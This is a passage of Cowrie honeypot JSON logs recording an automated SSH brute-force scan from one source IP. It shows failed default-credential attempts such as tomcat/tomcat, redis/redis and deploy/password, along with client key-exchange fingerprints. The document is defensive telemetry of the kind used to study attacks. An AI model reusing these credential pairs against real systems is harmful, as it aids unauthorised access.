01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:18:44.453641Z","src_ip":"192.109.200.237","session":"e60d6f3a3c24","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vpn","password":"vpn","message":"login attempt [vpn/vpn] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:18:44.704770Z","src_ip":"192.109.200.237","session":"e60d6f3a3c24","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:18:45.790332Z","src_ip":"192.109.200.237","session":"e60d6f3a3c24","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":55544,"dst_ip":"159.203.135.109","dst_port":22,"session":"9b3e867db050","protocol":"ssh","message":"New connection: 192.109.200.237:55544 (159.203.135.109:22) [session: 9b3e867db050]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:18:47.638513Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:18:47.643390Z","src_ip":"192.109.200.237","session":"9b3e867db050","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:18:47.725345Z","src_ip":"192.109.200.237","session":"9b3e867db050","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"password","message":"login attempt [deploy/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:18:47.971793Z","src_ip":"192.109.200.237","session":"9b3e867db050","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:18:49.113513Z","src_ip":"192.109.200.237","session":"9b3e867db050","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":35378,"dst_ip":"159.203.135.109","dst_port":22,"session":"175219cf0e72","protocol":"ssh","message":"New connection: 192.109.200.237:35378 (159.203.135.109:22) [session: 175219cf0e72]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:18:50.777774Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:18:50.782753Z","src_ip":"192.109.200.237","session":"175219cf0e72","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:18:50.868092Z","src_ip":"192.109.200.237","session":"175219cf0e72","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"soporte","password":"soporte","message":"login attempt [soporte/soporte] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:18:51.249992Z","src_ip":"192.109.200.237","session":"175219cf0e72","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:18:52.334658Z","src_ip":"192.109.200.237","session":"175219cf0e72","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.198636531829834,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:18:53.391176Z","src_ip":"192.119.13.58","session":"17c7a7d53115","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":35384,"dst_ip":"159.203.135.109","dst_port":22,"session":"3a94e5306e11","protocol":"ssh","message":"New connection: 192.109.200.237:35384 (159.203.135.109:22) [session: 3a94e5306e11]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:18:54.103545Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:18:54.108118Z","src_ip":"192.109.200.237","session":"3a94e5306e11","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:18:54.190278Z","src_ip":"192.109.200.237","session":"3a94e5306e11","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tomcat","password":"tomcat","message":"login attempt [tomcat/tomcat] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:18:54.437782Z","src_ip":"192.109.200.237","session":"3a94e5306e11","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:18:55.523751Z","src_ip":"192.109.200.237","session":"3a94e5306e11","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":35388,"dst_ip":"159.203.135.109","dst_port":22,"session":"471f9a9ee9e6","protocol":"ssh","message":"New connection: 192.109.200.237:35388 (159.203.135.109:22) [session: 471f9a9ee9e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:18:57.253589Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:18:57.262434Z","src_ip":"192.109.200.237","session":"471f9a9ee9e6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:18:57.344644Z","src_ip":"192.109.200.237","session":"471f9a9ee9e6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vivek","password":"vivek","message":"login attempt [vivek/vivek] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:18:57.592072Z","src_ip":"192.109.200.237","session":"471f9a9ee9e6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:18:58.676645Z","src_ip":"192.109.200.237","session":"471f9a9ee9e6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":49168,"dst_ip":"159.203.135.109","dst_port":22,"session":"8ddc61070817","protocol":"ssh","message":"New connection: 192.109.200.237:49168 (159.203.135.109:22) [session: 8ddc61070817]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:19:00.401519Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:19:00.408079Z","src_ip":"192.109.200.237","session":"8ddc61070817","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:19:00.490733Z","src_ip":"192.109.200.237","session":"8ddc61070817","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"frappe","password":"frappe","message":"login attempt [frappe/frappe] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:19:00.737602Z","src_ip":"192.109.200.237","session":"8ddc61070817","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:19:01.825307Z","src_ip":"192.109.200.237","session":"8ddc61070817","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"134.236.77.28","src_port":39618,"dst_ip":"10.17.0.5","dst_port":23,"session":"f3446f6612c6","protocol":"telnet","message":"New connection: 134.236.77.28:39618 (10.17.0.5:23) [session: f3446f6612c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:19:02.266799Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":49186,"dst_ip":"159.203.135.109","dst_port":22,"session":"311900bd7e04","protocol":"ssh","message":"New connection: 192.109.200.237:49186 (159.203.135.109:22) [session: 311900bd7e04]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:19:03.668355Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:19:03.673689Z","src_ip":"192.109.200.237","session":"311900bd7e04","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:19:03.758337Z","src_ip":"192.109.200.237","session":"311900bd7e04","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"redis","password":"redis","message":"login attempt [redis/redis] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:19:04.016975Z","src_ip":"192.109.200.237","session":"311900bd7e04","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:19:05.104491Z","src_ip":"192.109.200.237","session":"311900bd7e04","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":35930,"dst_ip":"10.17.0.5","dst_port":23,"session":"1edc963f2620","protocol":"telnet","message":"New connection: 192.119.13.58:35930 (10.17.0.5:23) [session: 1edc963f2620]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:19:05.420487Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":49194,"dst_ip":"159.203.135.109","dst_port":22,"session":"10205896b0de","protocol":"ssh","message":"New connection: 192.109.200.237:49194 (159.203.135.109:22) [session: 10205896b0de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:19:06.925888Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:19:06.931359Z","src_ip":"192.109.200.237","session":"10205896b0de","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:19:07.013723Z","src_ip":"192.109.200.237","session":"10205896b0de","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"arthur","password":"arthur","message":"login attempt [arthur/arthur] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:19:07.263605Z","src_ip":"192.109.200.237","session":"10205896b0de","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:19:08.348181Z","src_ip":"192.109.200.237","session":"10205896b0de","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":42962,"dst_ip":"159.203.135.109","dst_port":22,"session":"6acd68812ada","protocol":"ssh","message":"New connection: 192.109.200.237:42962 (159.203.135.109:22) [session: 6acd68812ada]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:19:10.147066Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:19:10.151887Z","src_ip":"192.109.200.237","session":"6acd68812ada","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 